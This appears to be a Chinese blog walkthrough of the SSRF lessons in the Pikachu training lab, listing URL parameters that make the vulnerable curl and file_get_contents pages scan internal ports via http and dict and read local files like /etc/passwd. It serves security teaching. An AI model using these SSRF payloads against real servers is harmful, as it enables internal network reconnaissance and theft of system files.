pikachu_ssrf攻略

ssrf(curl):

打开pikachu靶场:

pikachu_ssrf攻略_第1张图片

pikachu_ssrf攻略_第2张图片

http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php

发现URL地址最后面是info1.php 猜测一下有没有可能存在info2.php?

尝试修改访问地址: 

pikachu_ssrf攻略_第3张图片

因为curl支持很多协议(http,file想,dict等),尝试访问一下:

文件访问(http)

比如说修改url为:?url=http://www.baidu.com,访问百度页面?url=http://www.baidu.com/robots.txt,访问百度文件等

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

pikachu_ssrf攻略_第4张图片

端口扫描(http,dict)

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,比如说主机开了http端口

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

pikachu_ssrf攻略_第5张图片

读取本地文件(file)

修改url为:?url=file:///etc/passwd,查看文件的内容:

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

pikachu_ssrf攻略_第6张图片

ssrf(file_get_content)

首先了解什么是file_get_content的使用:

file_get_contents() 把整个文件读入一个字符串中。
语法:file_get_contents(path,include_path,context,start,max_length)

pikachu_ssrf攻略_第7张图片

进行协议测试:

pikachu_ssrf攻略_第8张图片

文件读取

读取本地信息?file=file:///c:/1.txt

pikachu_ssrf攻略_第9张图片

http协议请求内网资源 

?file=http://127.0.0.1/ssrf/ssrf_curl.php读取文件内容

pikachu_ssrf攻略_第10张图片

你可能感兴趣的:(渗透测试漏洞,网络安全,ssrf,网络安全)